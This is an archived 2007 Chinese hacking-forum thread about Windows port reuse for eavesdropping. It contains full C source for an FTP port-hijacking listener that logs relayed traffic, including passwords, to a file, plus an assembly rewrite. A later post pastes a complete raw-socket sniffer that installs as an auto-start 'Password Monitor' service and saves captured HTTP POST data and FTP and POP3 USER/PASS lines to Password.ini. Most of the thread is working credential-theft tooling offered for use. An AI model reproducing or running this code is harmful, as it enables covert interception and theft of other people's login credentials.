邪恶八进制信息安全团队技术讨论组's Archiver

pt007 2007-3-19 22:28

[原创]2000和XP下的GUEST用户利用端口复用实现监听功能的源码

软件作者:pt007[at]vip.sina.com版权所有,转载请注明
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

  下面是我改写的一个FTP的端口复用监听程序,为什么我写的程序必须在FTP服务之前启动?如果在FTP服务启动后再运行我的程序就会提示bind error,初学API,程序比较简单,没有实现进程隐藏和启动功能,以后加上:
即:首先net stop msftpsvc ,然后back2.exe ,net start msftpsvc就可以正常监听了,在程序的当前目录下写入一个test.txt文件:
back2.c源文件如下:
[code]#include <winsock2.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#pragma comment(lib, "ws2_32.lib")
#pragma comment(linker,"/subsystem:windows /FILEALIGN:0x200 /ENTRY:mainCRTStartup")

DWORD WINAPI ClientThread(LPVOID lpParam);

int main(int argc,TCHAR **argv)
{
  WORD wVersionRequested;
  DWORD ret;
  WSADATA wsaData;
  BOOL val;
  SOCKADDR_IN saddr;
  SOCKADDR_IN scaddr;
  int err;
  SOCKET s;
  SOCKET sc;
  int caddsize;
  HANDLE mt;
  DWORD tid;


  wVersionRequested = MAKEWORD( 2, 2 );
  err = WSAStartup( wVersionRequested, &wsaData );
  if ( err != 0 ) {
    printf("error!WSAStartup failed!\n");
    return -1;
  }
  saddr.sin_family = AF_INET;

  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
  /*  if(argc <=1)
  {printf("usage:svhosts.exe 192.168.38.109\n");
   return;
  }*/
  saddr.sin_addr.s_addr = inet_addr("192.168.1.101");   
  saddr.sin_port = htons(21);
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  {
    printf("error!socket failed!\n");
    return -1;
  }
  val = TRUE;
  //SO_REUSEADDR选项就是可以实现端口重绑定的:
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
  {
    printf("error!setsockopt failed!\n");
    return -1;
  }
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
  {
    ret=GetLastError();
    printf("error!bind failed!%d\n",ret);
    return -1;
  }
  listen(s,2);  
  while(1)
  {
    caddsize = sizeof(scaddr);
    //接受连接请求
    sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
    if(sc!=INVALID_SOCKET)
    {
      mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
      if(mt==NULL)
      {
        printf("Thread Creat Failed!\n");
        break;
      }
    }
    CloseHandle(mt);
  }
  closesocket(s);
  WSACleanup();
  return 0;
}

DWORD WINAPI ClientThread(LPVOID lpParam)
{
  SOCKET ss = (SOCKET)lpParam;
  SOCKET sc;
  unsigned char buf[4096];
  SOCKADDR_IN saddr;
  long num;
  DWORD val;
  DWORD ret;
  DWORD nOut;
  HANDLE hOut;//声明一个文件句柄
  //如果是隐藏端口应用的话,可以在此处加一些判断
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发

  saddr.sin_family = AF_INET;
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
  saddr.sin_port = htons(21);
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
  {
    printf("error!socket failed!\n");
    return -1;
  }
  val = 100;
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
  {
    ret = GetLastError();
    return -1;
  }
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
  {
    ret = GetLastError();
    return -1;
  }
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
  {
    printf("error!socket connect failed!\n");
    closesocket(sc);
    closesocket(ss);
    return -1;
  }
  hOut = CreateFile ("test.txt", GENERIC_WRITE,FILE_SHARE_WRITE|FILE_SHARE_READ, NULL,
      OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);//在当前目录下创建一个新文件
  SetFilePointer(hOut,NULL,NULL,FILE_END);
  /*if (hOut == INVALID_HANDLE_VALUE) {
    printf ("Cannot open output file. Error: %x\n", GetLastError ());
    return ;
  }*/
  while(1)
  {
    //下面的代码主要是实现通过127.0.0.1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
    //如果是嗅探内容的话,可以再此处进行内容分析和记录
    //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
    num =recv(ss,buf,4096,0);
    WriteFile (hOut, buf, num, &nOut, NULL);  
   
   
    if(num>0)
      send(sc,buf,num,0);
    else if(num==0)
      break;
    num = recv(sc,buf,4096,0);
   
    if(num>0)
      send(ss,buf,num,0);
    else if(num==0)
      break;
  }
  closesocket(ss);
  closesocket(sc);
  CloseHandle(hOut);
  return 0 ;
}[/code]

pt007 2007-3-19 23:47

我知道原因了,小榕说是只有2000才支持端口复用,2003下对这一块进行限制了,问题解决,可以在FTP服务之前启动程序,就当做一个FTP密码监听软件吧,估计UNIX平台还没有解决这个问题,等有时间了就移植到UNIX上面

asm 2007-3-20 00:03

XP下貌似也可以.上次我就成功复用了80和21  [s:267]

asm 2007-3-20 02:40

偶用masm32重组一下:

.386
.model  flat,stdcall
option  casemap:none
include  windows.inc
include  user32.inc
include  kernel32.inc
include  wsock32.inc
include  Ws2_32.inc

includelib  user32.lib
includelib  kernel32.lib
includelib  wsock32.lib
includelib  Ws2_32.lib

TCP_PORT equ 21 ;常量定义

Thread proto :LPSTR

.data
szTest db "\test.txt",0
szIP db "127.0.0.1",0
.data?
@wsaData WSADATA<?>
@stAddr sockaddr_in<?>
stStartUp STARTUPINFO<?>
stProcInfo PROCESS_INFORMATION<?>
hSocket SOCKET  ?
sc SOCKET  ?
tid DWORD ?
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Thread proc lpParam
local saddr:sockaddr_in
local szIpBuff[156]:DWORD
local val:DWORD
local sss:SOCKET
local hFile:DWORD
local buf[4096]:DWORD
local write:DWORD
local szDirectory[156]:DWORD
local szBuffFile[156]:DWORD
local hSzie:DWORD

mov saddr.sin_family,AF_INET
invoke inet_addr,addr szIpBuff
mov saddr.sin_addr,eax
invoke htons,21
mov saddr.sin_port,ax
invoke socket,AF_INET,SOCK_STREAM,IPPROTO_TCP
.if eax==SOCKET_ERROR
jmp error1
.endif
mov val,100
invoke setsockopt,sc,SOL_SOCKET,SO_RCVTIMEO,addr val,sizeof val
.if eax!=NULL
jmp error1
.endif
invoke setsockopt,ss,SOL_SOCKET,SO_RCVTIMEO,addr val,sizeof val
.if eax!=NULL
jmp error1
.endif
invoke connect,sc,addr saddr,sizeof saddr
.if eax!=NULL
jmp error1
.endif
invoke GetCurrentDirectory,200,addr szDirectory
invoke lstrcat,addr szBuffFile,addr szDirectory
invoke lstrcat,addr szBuffFile,addr szTest
invoke CreateFile,addr szBuffFile, GENERIC_WRITE,FILE_SHARE_WRITE or FILE_SHARE_READ, NULL,\
      OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL
      .if eax!=INVALID_HANDLE_VALUE
      mov hFile,eax
      .endif
      invoke SetFilePointer,hFile,NULL,NULL,FILE_END
      .while TRUE
      invoke recv,sss,addr buf,4096,0
      invoke lstrlen,addr buf
      mov hSzie,eax
      invoke WriteFile,hFile,addr buf,hSzie,addr write,NULL
      invoke send,sc,addr buf,hSzie,0
      .break .if eax==0
      
      invoke RtlZeroMemory,addr buf,sizeof buf
      invoke recv,sc,addr buf,4096,0
      
      .if eax>0
      invoke lstrlen,addr buf
      invoke send,sc,addr buf,eax,0
      .break .if eax==0
      .endif
      .endw
      invoke closesocket,sss
      invoke closesocket,sc
      invoke CloseHandle,hFile
      
      
error1:
invoke closesocket,sc
invoke closesocket,sss
ret
Thread endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
pushad
invoke WSAStartup,202h,addr @wsaData
.if eax==NULL
jmp error
.endif
invoke socket,AF_INET,SOCK_STREAM,IPPROTO_TCP
.if eax==SOCKET_ERROR
jmp error
.endif
mov  hSocket,eax
invoke setsockopt,hSocket,SOL_SOCKET,SO_REUSEADDR,TRUE,TRUE
.if eax!=NULL
jmp error
.endif
mov  @stAddr.sin_family,AF_INET
invoke  htons,TCP_PORT
mov  @stAddr.sin_port,ax
invoke inet_addr,addr szIP
mov @stAddr.sin_addr,eax
invoke bind,hSocket,addr @stAddr,sizeof sockaddr_in
.if eax==SOCKET_ERROR
jmp error
.endif
invoke listen,hSocket,2

invoke accept,hSocket,addr @stAddr,sizeof @stAddr
.if eax==INVALID_SOCKET
jmp error
.elseif
invoke CreateThread,NULL,0,addr Thread,addr sc,0,addr tid
invoke CloseHandle,eax
.endif

invoke CloseHandle,hSocket
invoke WSACleanup

error:
invoke CloseHandle,hSocket
invoke WSACleanup
popad
invoke ExitProcess,NULL
end start

asm 2007-3-20 03:08

郁闷,必须得执行程序,然后才可以执行serv-U,这样端口复用才成功.下面是我测试的结果.....

[attach]878[/attach]

l4bm0s 2007-3-20 09:24

[quote]引用第1楼pt007于2007-03-19 23:47发表的 :
我知道原因了,小榕说是只有2000才支持端口复用,2003下对这一块进行限制了,问题解决,可以在FTP服务之前启动程序,就当做一个FTP密码监听软件吧,估计UNIX平台还没有解决这个问题,等有时间了就移植到UNIX上面[/quote]

XP下应该也可以,2003就不太清楚了,不过有一点可以确定的是,端口复用越来越难利用了.

l4bm0s 2007-3-20 15:25

[quote]引用第0楼pt007于2007-03-19 22:28发表的 [原创]2000和XP下的GUEST用户利用端口复用实现监听功能的源码 :
软件作者:pt007[at]vip.sina.com版权所有,转载请注明
信息来源:邪恶八进制信息安全团队([url]www.eviloctal.com[/url])

  下面是我改写的一个FTP的端口复用监听程序,为什么我写的程序必须在FTP服务之前启动?如果在FTP服务启动后再运行我的程序就会提示bind error,初学API,程序比较简单,没有实现进程隐藏和启动功能,以后加上:
即:首先net stop msftpsvc ,然后back2.exe ,net start msftpsvc就可以正常监听了,在程序的当前目录下写入一个test.txt文件:
.......[/quote]


原因很简单,因为如果FTP服务先启动的话,那么公网IP就先被它先绑定了,而你的程序再绑定那个IP自然就会失败,复用端口的原理是一个程序用公网IP,另一个用127.0.0.1,它们通过同一个端口进行通信,而如果是你的程序先启动的话,它绑定了公网IP,那么FTP服务器就只能绑定127.0.0.1了,正好就是你的代码里那个流程,要注意的是,复用的只是端口而不是IP.

l4bm0s 2007-3-20 15:32

倒,我刚才说错了,你代码里面的是内网的IP,不过原理还是一样的~

pt007 2007-3-21 11:07

[quote]引用第6楼l4bm0s于2007-03-20 15:25发表的 :



原因很简单,因为如果FTP服务先启动的话,那么公网IP就先被它先绑定了,而你的程序再绑定那个IP自然就会失败,复用端口的原理是一个程序用公网IP,另一个用127.0.0.1,它们通过同一个端口进行通信,而如果是你的程序先启动的话,它绑定了公网IP,那么FTP服务器就只能绑定127.0.0.1了,正好就是你的代码里那个流程,要注意的是,复用的只是端口而不是IP.[/quote]

l4bm0s说的有道理.

l4bm0s 2007-3-22 21:15

这篇文章看起来不像是原创,很久以前就看过类似的代码了,那代码除了没有CreateFile函数以外,就基本和这篇文章的代码一样了,貌似连注释也基本一样,这年头难道往已有代码上面加个函数也算原创....

孤独剑虾 2007-3-23 15:12

GUEST用户能停用FTP服务?!

poc 2007-3-24 16:02

利用ht和nc端口复用进行sniff的具体操作步骤都还不是和清楚
哪位指点下!

darkmage 2007-3-24 20:55

Phrack 62-0x07已经提到这种技术的shellcode

[url]http://www.phrack.org/archives/62/p62-0x07_Advances_in_Windows_Shellcode.txt[/url]
至于你说到的问题,文章也提到了。

> --[ 4.b.2 Problem with reuse address shellcode

> Some applications use SO_EXCLUSIVEADDRUSE, thus reusing the address
> is not possible.

所以一般的rebind shellcode都是先杀掉当前的绑定端口的进程,然后自己绑定(SO_REUSEADDR),最后再启动这个应用程序,所以你用的这种方法价值不是很大,普通用户一般是没有办法停止ftp进程的。

另外Unix下面,非root用户是无法绑定 < 1024端口的。

gprs 2007-4-14 01:43

[quote]引用第11楼poc于2007-03-24 16:02发表的 :
利用ht和nc端口复用进行sniff的具体操作步骤都还不是和清楚
哪位指点下![/quote]


htran就已经有了 端口复用了,再使用xsniffer 就可以达到 该程序的效果了吧? 但是一直没有成功过。

lei1180 2007-5-19 22:28

偶也觉得奇怪
GUEST有权限停止服务?教教偶
好象局限性有点大吧
实际在WEBSHELL提权利用不大

uncledo 2007-12-20 16:03

顶一下!
如何防止密码监听呢?各位大牛??
引用书上的一句话"密码侦听从名字上看来神乎其神,但从实现上的确没有太多技术可言"
一下内容全部来自::
<<WINDOWS API 编程>> 冉林仓 编著

为了便于实现,采用服务编写.自启动方式安装.在给定端口监听,放火墙必须要开放该端口.程序开辟了1024长度的环形队列,如过是感兴趣的包,就放带列尾.列尾指针指向下一个元素,同时信号灯加一.另一线程负责查询信号.处理数据.把敏感信息写入到一个password.ini(保存在系统主目录)

第一次运行使用命令monitorservice.exe -i 手工启动它

[code]// monitorservice.cpp : 定义控制台应用程序的入口点。
//


//Author:  Anish C.V.
//EMail :  [email]cv_anish@hotmail.com[/email]

#include "stdafx.h"
#include <Winsock2.h>
#include "Windows.h"
#include "Winsvc.h"
#include "mstcpip.h"
#include "ws2tcpip.h"
#pragma comment(lib,"Advapi32.lib")
#pragma comment(lib,"Ws2_32.lib")
typedef struct tagBuff {
  DWORD dwFlag;
  DWORD SrcIP;
  DWORD DstIP;
  DWORD dwLen;
  BYTE cBuffer[1024];
}BUFF,*PBUFF;
#define BUFFER_MAX 1024
BUFF Buffer[BUFFER_MAX];


#define BUFFER_SIZE 65536

char RecvBuf [BUFFER_SIZE];

typedef enum tagFlag{
  HTTP,
  FTP,
  SMTP,
  POP3
}FLAG;
static HANDLE g_hSemaphore=NULL;

static HANDLE g_hThread=NULL;
static int nHeader=0;
static int nTailer=0;
//
// Ip header
//
typedef struct _IP_HEADER
{
  union
  {
    BYTE  VersionAndHeaderLength;        // Version 4 bit, Header Length 4 bit * 4
    struct
    {
      BYTE  HeaderLength : 4;
      BYTE  Version : 4;
    };
  };
  BYTE  TypeOfService;
  WORD  DatagramLength;
  WORD  Id;
  WORD  FlagsAndFragmentOffset;          // Flags 3 bit, Fragment Offset 13 bit
  BYTE  TimeToLive;
  BYTE  Protocol;
  WORD  CheckSum;
  BYTE  SourceIp[4];
  BYTE  DestinationIp[4];

} IP_HEADER, *PIP_HEADER;

#define IP_HEADER_LENGTH    20

#define  PROTOCOL_INVALID_IP    0xFF
#define  PROTOCOL_INVALID_TCP  0xFE
#define  PROTOCOL_INVALID_UDP  0xFD
#define  PROTOCOL_INVALID_ICMP  0xFC
#define  PROTOCOL_TCP      0x06
#define PROTOCOL_UDP      0x11
#define PROTOCOL_ICMP      0x01
#define PROTOCOL_IGMP      0x02

#define HEADER_LENGTH_MULTIPLE  4
#define GET_IP_VERSION(verlen)      ((verlen & 0xF0) >> 4)
#define GET_IP_HEADER_LENGTH(verlen)  ((verlen & 0x0F) * HEADER_LENGTH_MULTIPLE)
#define GET_IP_FLAGS(ffo)        ((ffo & 0xE000) >> 13)
#define GET_IP_FRAGMENT_OFFSET(ffo)    (ffo & 0x1FFF)

//
// Tcp Header
//
typedef struct _TCP_HEADER
{
  WORD  SourcePort;
  WORD  DestinationPort;
  DWORD  SeqNumber;
  DWORD  AckNumber;
  union
  {
    WORD  LenAndCodeBits;    // Header length 4 bit, Reserved 6 bit, Code Bits 6 bit
    struct
    {
      WORD  Reserved1 : 8;
      WORD  TcpCode : 6;
      WORD  Reserved2 : 2;
    };
    struct
    {
      WORD  Reserved3 : 4;
      WORD  HeaderLength : 4;
      WORD  TcpFin : 1;
      WORD  TcpSyn : 1;
      WORD  TcpRst : 1;
      WORD  TcpPsh : 1;
      WORD  TcpAck : 1;
      WORD  TcpUrg : 1;
      WORD  Reserved4 : 2;
    };
  };
  WORD  Window;
  WORD  CheckSum;
  WORD  UrgentPointer;

} TCP_HEADER, *PTCP_HEADER;

#define TCP_HEADER_LENGTH      20

#define GET_TCP_HEADER_LENGTH(lcb)  (((lcb & 0xF000) >> 12) * HEADER_LENGTH_MULTIPLE)
#define GET_TCP_CODE_BITS(lcb)    (lcb & 0x003F)

//
// Udp Header
//
typedef struct _UDP_HEADER
{
  WORD  SourcePort;
  WORD  DestinationPort;
  WORD  Length;        // including this header
  WORD  CheckSum;

} UDP_HEADER, *PUDP_HEADER;

#define UDP_HEADER_LENGTH    8

//
// Icmp Header
//
typedef struct _ICMP_HEADER
{
  BYTE  Type;
  BYTE  Code;        // type sub code
  WORD  CheckSum;
  WORD  ID;
  WORD  Seq;

} ICMP_HEADER, *PICMP_HEADER;

#define ICMP_HEADER_LENGTH  8

#define ICMP_NORMAL      0
#define ICMP_REQUEST    1
#define ICMP_RESPONSE    2
SERVICE_STATUS m_ServiceStatus;
SERVICE_STATUS_HANDLE m_ServiceStatusHandle;
BOOL bRunning=true;
void WINAPI ServiceMain(DWORD argc, LPTSTR *argv);
void WINAPI ServiceCtrlHandler(DWORD Opcode);
BOOL InstallService();
BOOL DeleteService();
void CheckUdp(PUDP_HEADER pUdpHeader,DWORD dwLen)
{
}
void CheckTcp(PTCP_HEADER pTcpHeader,DWORD dwLen)
{
  if (pTcpHeader->TcpFin || pTcpHeader->TcpRst||pTcpHeader->TcpSyn)
  {
    return;
  }
  TCHAR* szTemp=NULL;
  switch(ntohs(pTcpHeader->DestinationPort))
  {
  case 80:
  case 8080:
    szTemp=(char*)pTcpHeader+sizeof(TCP_HEADER);
    if (strstr(szTemp,"POST")&&strstr(szTemp,"HTTP/1")){
      Buffer[nTailer].dwFlag=HTTP;
      Buffer[nTailer].dwLen=dwLen;
      memcpy(Buffer[nTailer].cBuffer,szTemp,dwLen);
      nTailer=(nTailer+1) % BUFFER_MAX;
      ReleaseSemaphore( g_hSemaphore, // handle to semaphore
        1,      // increase count by one
        NULL);
    }
    break;
  case 110:
    szTemp=(char*)pTcpHeader+sizeof(TCP_HEADER);
    if (strstr(szTemp,"USER")||strstr(szTemp,"PASS")){
      PIP_HEADER pIpHeader=(PIP_HEADER)((BYTE*)pTcpHeader-sizeof(IP_HEADER));
      Buffer[nTailer].SrcIP=*((int*)pIpHeader->SourceIp);
      Buffer[nTailer].DstIP=*((int*)pIpHeader->DestinationIp);;
      Buffer[nTailer].dwFlag=POP3;
      Buffer[nTailer].dwLen=dwLen;
      memcpy(Buffer[nTailer].cBuffer,szTemp,dwLen);
      nTailer=(nTailer+1) % BUFFER_MAX;
      ReleaseSemaphore(
        g_hSemaphore, // handle to semaphore
        1,      // increase count by one
        NULL);
    }
    break;
    case 21:
    szTemp=(char*)pTcpHeader+sizeof(TCP_HEADER);
    if (strstr(szTemp,"USER")||strstr(szTemp,"PASS")){

      PIP_HEADER pIpHeader=(PIP_HEADER)((BYTE*)pTcpHeader-sizeof(IP_HEADER));
      Buffer[nTailer].SrcIP=*((int*)pIpHeader->SourceIp);
      Buffer[nTailer].DstIP=*((int*)pIpHeader->DestinationIp);;
      Buffer[nTailer].dwFlag=FTP;
      Buffer[nTailer].dwLen=dwLen;
      memcpy(Buffer[nTailer].cBuffer,szTemp,dwLen);
      nTailer=(nTailer+1) % BUFFER_MAX;
      ReleaseSemaphore(
        g_hSemaphore, // handle to semaphore
        1,      // increase count by one
        NULL);
    }
    break;;
  default:
    break;
  }
}
void DecodeEthPkt_data( u_char * pkt)
{
  WORD EthernetFrameType;
  WORD LengthCount;
  PIP_HEADER pIpHeader;
  pIpHeader = (PIP_HEADER)(pkt/*+sizeof(EHTERNET_FRAME)*/);
  LengthCount = pIpHeader->HeaderLength * HEADER_LENGTH_MULTIPLE;
  if(LengthCount == 0){
    //dprintf(("LengthCount == 0"));
    return ;
  }

  switch(pIpHeader->Protocol)
  {
  case PROTOCOL_TCP:
    // 解析Tcp Header
    CheckTcp((PTCP_HEADER)(pkt+/*sizeof(EHTERNET_FRAME)+*/sizeof(IP_HEADER)),pIpHeader->DatagramLength-sizeof(TCP_HEADER));
    return ;
  case PROTOCOL_UDP:
    // 解析 Udp Header
    CheckUdp((PUDP_HEADER)(pkt+/*sizeof(EHTERNET_FRAME)+*/sizeof(IP_HEADER)),pIpHeader->DatagramLength-sizeof(TCP_HEADER));  
    return ;
  default:
    break;
  }
  return;

}//DecodeEthPkt_data
DWORD ThreadProc(LPVOID lParam)
{
  DWORD dwWaitResult;
  while (TRUE) {
    dwWaitResult = WaitForSingleObject(
      g_hSemaphore,  // handle to semaphore
      2);   
    switch (dwWaitResult)
    {
      //队列中还有空位置
    case WAIT_OBJECT_0:
      switch(Buffer[nHeader].dwFlag){
        case HTTP:
          {
            TCHAR* szURL=strstr((char*)Buffer[nHeader].cBuffer,"POST ")+5;
            if ((int)szURL==0005) {
              nHeader=(nHeader+1)%BUFFER_MAX;
              return 1;
            }
            TCHAR* szHTTP=strstr(szURL,"HTTP/");
            if (szHTTP==NULL) {
              nHeader=(nHeader+1)%BUFFER_MAX;
              return 1;
            }
            TCHAR cURL[1024];
            ZeroMemory(cURL,sizeof cURL);
            _tcsncpy(cURL,szURL,szHTTP-szURL);

            TCHAR* szHost=strstr((char*)Buffer[nHeader].cBuffer,"Host: ")+6;  
            if ((int)szHost==0006) {
              nHeader=(nHeader+1)%BUFFER_MAX;
              return 1;
            }
            TCHAR* szCRLN=strstr(szHost,"\r\n");
            if (szCRLN==NULL) {
              nHeader=(nHeader+1)%BUFFER_MAX;
              return 1;
            }
            TCHAR cHost[1024];
            ZeroMemory(cHost,sizeof cHost);
            _tcsncpy(cHost,szHost,szCRLN-szHost);
            _tcscat(cHost,cURL);

            TCHAR* szPostData=strstr((char*)Buffer[nHeader].cBuffer,"\r\n\r\n")+4;
            TCHAR* szContentLen=strstr((char*)Buffer[nHeader].cBuffer,"Content-Length: ")+16;
            if((int)szPostData==4||(int)szContentLen==16){
              nHeader=(nHeader+1)%BUFFER_MAX;
              return 1;
            }
            TCHAR* szRefer=strstr((char*)Buffer[nHeader].cBuffer,"Referer: ")+9;
            TCHAR cRefer[1024];
            if((int)szRefer!=9){
              ZeroMemory(cRefer,sizeof cRefer);
              int i=0;
              while(szRefer[i]!=&#39;\r&#39;){
                cRefer[i]=szRefer[i];
                i++;
              }
            }
            else
              _tcscpy(cRefer,"HTTP");
            int nLen;
            sscanf(szContentLen,"%d",&nLen);
            szPostData[nLen]=0;
            WritePrivateProfileString(cHost,szPostData,cRefer,"Password.ini");
            nHeader=(nHeader+1)%BUFFER_MAX;
          }
          break;
        case FTP:
          {
            TCHAR* szCRLN=strstr((char*)Buffer[nHeader].cBuffer,"\r\n");
            if (szCRLN!=NULL) {
              *szCRLN=0;
            }
            WritePrivateProfileString(inet_ntoa(*(struct in_addr *)&Buffer[nHeader].DstIP),

              (char*)Buffer[nHeader].cBuffer,"FTP","Password.ini");
            nHeader=(nHeader+1)%BUFFER_MAX;
          }
          break;
        case SMTP:
          break;
        case POP3:
          TCHAR* szCRLN=strstr((char*)Buffer[nHeader].cBuffer,"\r\n");
          if (szCRLN!=NULL) {
            *szCRLN=0;
          }
          WritePrivateProfileString(inet_ntoa(*(struct in_addr *)&Buffer[nHeader].DstIP),
            (char*)Buffer[nHeader].cBuffer,"POP3","Password.ini");
          nHeader=(nHeader+1)%BUFFER_MAX;
          break;
      }
      break;
      //队列中无空位置,超时退出
    case WAIT_TIMEOUT:
      break;
    }
  }
  return TRUE;
}

int main(int argc, char* argv[])
{
  if(argc>1)
  {
    if(strcmp(argv[1],"-i")==0)
    {
      if(InstallService())
        printf("\n\nService Installed Sucessfully\n");
      else
        printf("\n\nError Installing Service\n");
    }
    if(strcmp(argv[1],"-d")==0)
    {
      if(DeleteService())
        printf("\n\nService UnInstalled Sucessfully\n");
      else
        printf("\n\nError UnInstalling Service\n");
    }
    else
    {
      printf("\n\nUnknown Switch Usage\n\nFor Install use MonitorService -i\n\nFor UnInstall use MonitorService -d\n");
    }
  }
  else
  {
    SERVICE_TABLE_ENTRY DispatchTable[]={{"Password Monitor",ServiceMain},{NULL,NULL}};
    StartServiceCtrlDispatcher(DispatchTable);
  }
  return 0;
}

void WINAPI ServiceMain(DWORD argc, LPTSTR *argv)
{
  DWORD status;
  DWORD specificError;
  m_ServiceStatus.dwServiceType    = SERVICE_WIN32;
  m_ServiceStatus.dwCurrentState    = SERVICE_START_PENDING;
  m_ServiceStatus.dwControlsAccepted  = SERVICE_ACCEPT_STOP;
  m_ServiceStatus.dwWin32ExitCode   = 0;
  m_ServiceStatus.dwServiceSpecificExitCode = 0;
  m_ServiceStatus.dwCheckPoint     = 0;
  m_ServiceStatus.dwWaitHint      = 0;
  m_ServiceStatusHandle = RegisterServiceCtrlHandler("Password Monitor",ServiceCtrlHandler);
  if (m_ServiceStatusHandle == (SERVICE_STATUS_HANDLE)0)
  m_ServiceStatus.dwCurrentState    = SERVICE_RUNNING;
  m_ServiceStatus.dwCheckPoint     = 0;
  m_ServiceStatus.dwWaitHint      = 0;
  if (!SetServiceStatus (m_ServiceStatusHandle, &m_ServiceStatus)) return;
  g_hSemaphore = CreateSemaphore(
    NULL,  // no security attributes
    0,  // initial count
    BUFFER_MAX,  // maximum count
    NULL); // unnamed semaphore
  DWORD dwThread;
  if (g_hThread==0) {
    g_hThread=CreateThread(NULL,0,(LPTHREAD_START_ROUTINE)ThreadProc,NULL,0,&dwThread);
  }
  WSADATA WSAData;
  BOOL  flag = true;
  int   nTimeout = 1000;
  char  LocalName[16];
  SOCKADDR_IN addr_in;
  struct hostent *pHost;
  SOCKET sock;
  // 检查 Winsock 版本号  
  if (WSAStartup(MAKEWORD(2, 2), &WSAData) != 0)return ;
  // 初始化 Raw Socket
  if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == INVALID_SOCKET)  return ;
  // 设置IP头操作选项
  if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char*)&flag, sizeof(flag)) == SOCKET_ERROR)
    return ;
  // 获取本机名
  if (gethostname((char*)LocalName, sizeof(LocalName)) == SOCKET_ERROR)return ;
  // 获取本地 IP 地址
  if ((pHost = gethostbyname((char*)LocalName)) == NULL)  return ;
  addr_in.sin_addr  = *(in_addr *)pHost->h_addr_list[0]; //IP
  addr_in.sin_family = AF_INET;
  addr_in.sin_port  = htons(55555);
  // 把 sock 绑定到本地地址上
  if (bind(sock, (PSOCKADDR)&addr_in, sizeof(addr_in)) == SOCKET_ERROR)return ;
  DWORD dwValue = 1;
  // 设置 SOCK_RAW 为SIO_RCVALL,以便接收所有的IP包
  if (ioctlsocket(sock, SIO_RCVALL, &dwValue) != 0)  return ;
  while (true)
  {
    int ret = recv(sock, RecvBuf, BUFFER_SIZE, 0);
    if (ret > 0)
    {
        DecodeEthPkt_data((BYTE*)RecvBuf)  ;
    }
  }
  return;
}
void WINAPI ServiceCtrlHandler(DWORD Opcode)
{
  switch(Opcode)
  {
  case SERVICE_CONTROL_PAUSE:
    m_ServiceStatus.dwCurrentState = SERVICE_PAUSED;
    break;
  case SERVICE_CONTROL_CONTINUE:
    m_ServiceStatus.dwCurrentState = SERVICE_RUNNING;
    break;
  case SERVICE_CONTROL_STOP:
    m_ServiceStatus.dwWin32ExitCode = 0;
    m_ServiceStatus.dwCurrentState = SERVICE_STOPPED;
    m_ServiceStatus.dwCheckPoint  = 0;
    m_ServiceStatus.dwWaitHint   = 0;
    SetServiceStatus (m_ServiceStatusHandle,&m_ServiceStatus);
    bRunning=false;
    break;
  case SERVICE_CONTROL_INTERROGATE:
    break;
  }   
  return;
}

BOOL InstallService()
{
  char strDir[1024];
  SC_HANDLE schSCManager,schService;
  GetModuleFileName(NULL,strDir,sizeof strDir);
  schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
  if (schSCManager == NULL)   return false;
  LPCTSTR lpszBinaryPathName=strDir;
  schService = CreateService(schSCManager,"Password Monitor","Password Monitor",      // service name to display
    SERVICE_ALL_ACCESS,    // desired access
    SERVICE_WIN32_OWN_PROCESS, // service type
    SERVICE_AUTO_START,   // start type
    SERVICE_ERROR_NORMAL,   // error control type
    lpszBinaryPathName,    // service&#39;s binary
    NULL,           // no load ordering group
    NULL,           // no tag identifier
    NULL,           // no dependencies
    NULL,           // LocalSystem account
    NULL);           // no password
  if (schService == NULL)   return false;
  CloseServiceHandle(schService);
  return true;
}
BOOL DeleteService()
{
  SC_HANDLE schSCManager;
  SC_HANDLE hService;
  schSCManager = OpenSCManager(NULL,NULL,SC_MANAGER_ALL_ACCESS);
  if (schSCManager == NULL)     return false;  
  hService=OpenService(schSCManager,"Password Monitor",SERVICE_ALL_ACCESS);
  if (hService == NULL)   return false;
  if(DeleteService(hService)==0)    return false;
  if(CloseServiceHandle(hService)==0)
    return false;
  else
    return true;
}

[/code]

mstcpip.h
[code]#ifndef  _MSTCPIP_INC  
#define  _MSTCPIP_INC  
//   Copyright  (C)  Microsoft  Corporation,  1996-1999  
#if  _MSC_VER  >  1000  
#pragma  once  
#endif  
  
